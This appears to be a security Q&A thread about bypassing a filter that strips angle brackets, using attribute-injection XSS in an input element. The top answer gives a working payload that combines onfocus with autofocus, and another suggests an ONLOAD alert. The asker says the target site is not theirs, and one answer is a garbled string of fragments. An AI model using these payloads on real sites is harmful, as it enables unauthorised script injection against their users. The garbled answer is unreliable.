27

Say I have the a website with the following code on it:

<input type="text" id="search-text" name="query" value="?" />

Double quotes aren't escaped so I can break out of the value attribute, however, I can't break out of the HTML tag itself as '<' and > are being filtered out.

My goal here is to get a javascript popup to appear.

  • There's the onfocus attribute so I guess if someone clicked on the text input box a javascript popup could appear.
  • However is there a way to make a javascript popup appear when the page first loads?
6
  • 4
    did you try all the techniques on owasp.org/index.php/… ?
    – KDEx
    Aug 22, 2015 at 18:40
  • I can't break out of the <input tag to start a <script tag, let alone not close a <script tag I'm already in. I'm not aware of any others that'll help either but if you are aware of one do feel free to post it as the answer..
    – neubert
    Aug 22, 2015 at 18:42
  • What reason would there be for not encoding double quotes?
    – Anonymous
    Aug 22, 2015 at 20:22
  • 1
    @Anonymous - ignorance? I didn't write the website that I'm trying to exploit!
    – neubert
    Aug 22, 2015 at 20:25
  • 3
    @neubert Oh, I read the phrase "Say I have the a website" and assumed you owned it. If not, this fits the close reason "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." in my opinion.
    – Anonymous
    Aug 22, 2015 at 20:27

3 Answers 3

58

Try this:

" onfocus="alert(1)" autofocus="

It will expand to:

<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />

Which will cause an alert box, demonstrating XSS.

2
0

Hyyyyyygg alert("xss")alert("xss")alert("xss")alert("xss")</svg onResize></svg onResize></svg onResize></svg onResize></svg onResize>

-3

You can checkout for this too

ONLOAD=alert('XSS')

Which will produce an alert box when the page loads.

1

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .